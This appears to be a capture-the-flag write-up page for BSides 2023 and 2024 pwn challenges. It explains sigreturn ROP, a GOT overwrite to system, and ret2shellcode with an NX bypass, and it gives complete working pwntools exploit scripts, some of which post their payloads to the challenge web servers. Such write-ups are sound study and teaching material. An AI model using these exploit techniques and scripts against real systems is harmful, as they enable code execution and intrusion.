Try   HackMD

(writeup) bsides-2023

SYS_ROP

  • check file + checksec

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • check ida

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

offset 80 + 8(save rbp)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

main     : sub_40101C
write    : sub_401014
read     : sub_40100C
exit     : sub_401000
  • based on name of the chall, I think about SYSROP at first
  • so we use pwntool named SigreturnFrame to setup these registers
  • we also have string '/bin/sh' on binary file

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402010  #/bin/sh tren exe
frame.rsi = 0
frame.rdx = 0
#frame.rsp = 0x00000000402a00 #r_w section
frame.rip = syscall
  • find some gadget
pop_rax = 0x0000000000401085
syscall = 0x0000000000401011
pop_rbp = 0x0000000000401073
pop_rdi = 0x000000000040107f
pop_rdx = 0x0000000000401083
pop_rsi = 0x0000000000401081
  • payload:
payload = flat(
	b'A'*88,
	pop_rax, 0xf,
	syscall,
	bytes(frame),
	)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • I think those byte frame we send have too much byte to overwrite

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

read 256 byte but we send 360 byte

  • so I call read() function one more time to overwrite another address which can r_w section
  • arg for read is rax = NULL, rdi = NULL, rsi = rw_address, rdx = size
  • because checksec PIE is off so we can use static address

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

0x00000000402a00

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • right now we stuck at here
  • have a look on register

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

maybe $rbp is weird

  • in sigframe, we add gadget $rbp at another address (use the same $rsi and minus 8 because after syscall, if we don't minus 8 it will be pop at the same gadget {pop rax})

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • still return at bad address
  • now add more gadget leave_ret

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • noice 🤌

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)

p = process(exe.path)
#p = process('ncat -v --ssl sys-rop.bsides.shellmates.club 443'.split())

# gdb.attach(p, gdbscript='''
# 	b*0x401014
# 	b*0x40101b
# 	b*0x401049
# 	b*0x40104e
# 	c
# 	''')
# input()

pop_rax = 0x0000000000401085
syscall = 0x0000000000401011
pop_rbp = 0x0000000000401073
pop_rdi = 0x000000000040107f
pop_rdx = 0x0000000000401083
pop_rsi = 0x0000000000401081
leave_ret = 0x0000000000401070

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402010  #/bin/sh tren exe
frame.rsi = 0
frame.rdx = 0
#frame.rsp = 0x00000000402a00 #r_w section
frame.rip = syscall

### call sys_read

payload = flat(
	b'A'*88,
	pop_rax, 0,
	pop_rdi, 0,
	pop_rsi, 0x00000000402a00,
	pop_rdx, 0x500,
	syscall,
	pop_rbp, 0x00000000402a00-8,
	leave_ret,
	)

p.sendafter(b'message: ',payload)
#p.send(payload)

#input("press ENTER to continue...")

payload = flat(
	pop_rax, 0xf,
	syscall,
	bytes(frame),
	)

p.send(payload)

p.interactive()
  • method 2: (simplify the problem 🙃)
  • have enough gadget -> ROPchain way
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)

p = process(exe.path)
#p = process('ncat -v --ssl sys-rop.bsides.shellmates.club 443'.split())

pop_rax = 0x0000000000401085
syscall = 0x0000000000401011
pop_rdi = 0x000000000040107f
pop_rdx = 0x0000000000401083
pop_rsi = 0x0000000000401081

binsh = 0x402010

payload = flat(
	b'A'*88,
	pop_rdi, binsh,
	pop_rsi, 0,
	pop_rdx, 0,
	pop_rax, 0x3b,
	syscall
	)

p.send(payload)

p.interactive()

Junior Pwner

  • check file + checksec

  • check ida

  • the author give the binary file and libc.so.6, so I pwninit at first
  • look at ida, we can see it read in to buf variable and after that, it will print 1 of 3 messages randomly by rand() function
  • let see detail:

  • otherwise, this program doesn't have any return or exit, will loop forever by while(1)
  • so my idea is ow '/bin/sh' and ow system() by puts@GOT
  • which mean when it call puts(), we will get shell by execute puts@PLT instead of print 1 of 3 messages
  • first we need to leak libc
  • because buf only 64 byte, read() 0x48 = 72 byte so we can ow save rbp to change execution flow
  • that enough to leak libc
  • payload:
= (GOT of puts) * 8 times
+= messages_addr + 0x30

at first I want to ow the next addr of messages (+ 0x18) but it can't leak libc (can leak but not always)

  • then we ow '/bin/sh' at (messages_addr + 0x40)
= ('/bin/sh' in libc) * 8 times
+= messages_addr + 0x40
  • finally ow system() and puts@GOT at address have '/bin/sh'
= (system in libc) * 8 times
+= (GOT of puts) + 0x40

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
ld = ELF('./ld-linux-x86-64.so.2',checksec=False)

p = process(exe.path)
#p = process('ncat -v --ssl junior-pwner.bsides.shellmates.club 443',split())
#p = remote('junior-pwner.bsides.shellmates.club',443,ssl=True)

# gdb.attach(p,gdbscript='''
# 	b*vuln+49
# 	b*vuln+54
# 	b*vuln+72
# 	b*main+164
# 	c
# 	''')
# input()

messages = 0x4041c0

payload = p64(exe.got['puts'])*8
payload += p64(messages + 0x30)

p.sendafter(b'Name:\n',payload)

libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 528080
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

payload = p64(next(libc.search(b'/bin/sh')))*8
payload += p64(messages + 0x40)

p.sendafter(b'Name:\n',payload)

payload =  p64(libc.sym['system'])*8
payload += p64(exe.got['puts'] + 0x40)

p.sendafter(b'Name:\n',payload)

p.interactive()

(writeup) bsides-2024

Can't Give In

  • basic file check

image

  • check ida

image

main()

  • website

image

  • source

image

analyse

  • this challenge is Pwn x Web, which is give us a binary running on a website
  • we simply find a bug in read(v8, data, length) if CONTENT_LENGTH is big enough

CONTENT_LENGTH depend on the size we input

  • moreover, the description tell us to RCE -> ret2shellcode

debug

  • first, to debug on local, we must have env (environment) of CONTENT_LENGTH to satisfy the function getenv by using this command:
$ export CONTENT_LENGTH=1000

size equal 1000 to easily overflow

  • next, there is no canary so base on ida, I can guess the buffer to padding is 0xa8

image

[rbp-A0h] is 0xA0 to touch $rbp, then +0x8 to ow $rbp, the rest into $rip

  • so to ret2shellcode, we need to return to the address which have shellcode
  • then I see when it return in main(), the address of stack is on $rdi and $rax is NULL
  • I search for gadget and I found some usefull gadgets here
add_rax_rdi = 0x0000000000424267
call_rax = 0x0000000000401010
pop_rdi = 0x0000000000401d90
  • my idea is move $rdi into $rax, then pop $rdi an offset that point to address shellcode, then just call $rax
  • about sending shellcode to a website, I use Burp Suite to genterate a script for python
  • I just edit the data from this
burp0_data = {'password' : payload.decode('latin')}

into this

burp0_data = payload.decode('latin')

because I RCE on local sucessful but fail in server
I guess maybe the return address is wrong due to 'password='

  • meanwhile, the payload i will edit like this
payload = b'password='
payload += shellcode
...
  • that mean, the offset I have to +9 to bypass 9 bytes of 'password='

get flag

image

  • script
#!/usr/bin/python3

from pwn import *
import requests

context.binary = exe = ELF('./auth.cgi')

# p = process(exe.path)

# gdb.attach(p,gdbscript='''
# 	b*main+179
# 	b*main+265
# 	c
# 	''')
# input()

context.arch = 'amd64'

io = b'/home/ctf/flag.txt'
# io = b'flag.txt'

shellcode = shellcraft.open(io)
shellcode += shellcraft.read('rax','rsp',0x80)
shellcode += shellcraft.write(1,'rsp', 0x80)  

sc = shellcraft.cat(io)

add_rax_rdi = 0x0000000000424267
call_rax = 0x0000000000401010
pop_rdi = 0x0000000000401d90

payload = b'password='
payload += asm(sc)
payload = payload.ljust(0xa8,b'a')
payload += p64(add_rax_rdi)
payload += p64(pop_rdi) + p64(0x579)
payload += p64(add_rax_rdi)
payload += p64(call_rax)

# print(payload)

# p.send(payload)

# p.interactive()

burp0_url = "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080/cgi-bin/auth.cgi"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = payload.decode('latin')
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
#CTF{certified-genuine-instructions}

CTF{certified-genuine-instructions}

Can't Give In (secure)

  • basic file check

image

analyse

  • in this challenge, similar to above source code but a little different about mechanism security protection

in this case, NX enable

  • a little bit tricky restrict execute on stack, but my idea is still ret2shellcode (still RCE)
  • to set stack executable, I use _dl_make_stacks_executable()
  • before that, we must satisfy some conditions

image

  • first is __stack_prot variable, in default it is 0x1000000

image

  • but it in read_only section 🤡

image

  • so I use mprotect() to set that area has full permission =)))
  • then I move 7 into __stack_prot by this gadget

image

$rdx has value 7 when call mprotect()
just use pop $rsi for __stack_prot

  • and for arg1 of _dl_make_stacks_executable(), I use __libc_stack_end variable
  • now the rest is shellcode

maybe __libc_stack_end will have an unpredictable stack address so for the offset I will measure simple, then pad the nop asm code

get flag

image

  • script
#!/usr/bin/python3

from pwn import *
import requests

context.binary = exe = ELF('./auth.cgi')

# p = process(exe.path)

# gdb.attach(p,gdbscript='''
# 	b*main+179
# 	b*main+265
# 	c
# 	''')
# input()

context.arch = 'amd64'

io = b'/home/ctf/flag.txt'
# io = b'flag.txt'

sc = shellcraft.cat(io)

add_rax_rdi = 0x0000000000424267
pop_rdi = 0x0000000000401d90
pop_rsi = 0x000000000040f782
pop_rdx_rbx = 0x00000000004696d7
mov_ptr_rsi_rdx = 0x46b482
call_rsp = 0x00000000004127ca

payload = b'password='
payload = payload.ljust(0xa8,b'a')
payload += p64(pop_rdi) + p64(0x4a1000)
payload += p64(pop_rsi) + p64(0x4000)
payload += p64(pop_rdx_rbx) + p64(7)*2
payload += p64(exe.sym.mprotect)
payload += p64(pop_rsi) + p64(exe.sym.__stack_prot)
payload += p64(mov_ptr_rsi_rdx)
payload += p64(pop_rdi) + p64(exe.sym.__libc_stack_end)
payload += p64(exe.sym._dl_make_stacks_executable)
payload += p64(add_rax_rdi)
payload += p64(pop_rdi) + p64(0xcb0)
payload += p64(add_rax_rdi)
payload += p64(call_rsp)
payload += b'\x90'*8*10
payload += asm(sc)

# print(payload)

# p.send(payload)

# p.interactive()

burp0_url = "http://cant-give-in-secure-05060d6d.challenges.bsidessf.net:8080/cgi-bin/auth.cgi"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = payload.decode('latin')
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
#CTF{computational-genius-institute}

CTF{computational-genius-institute}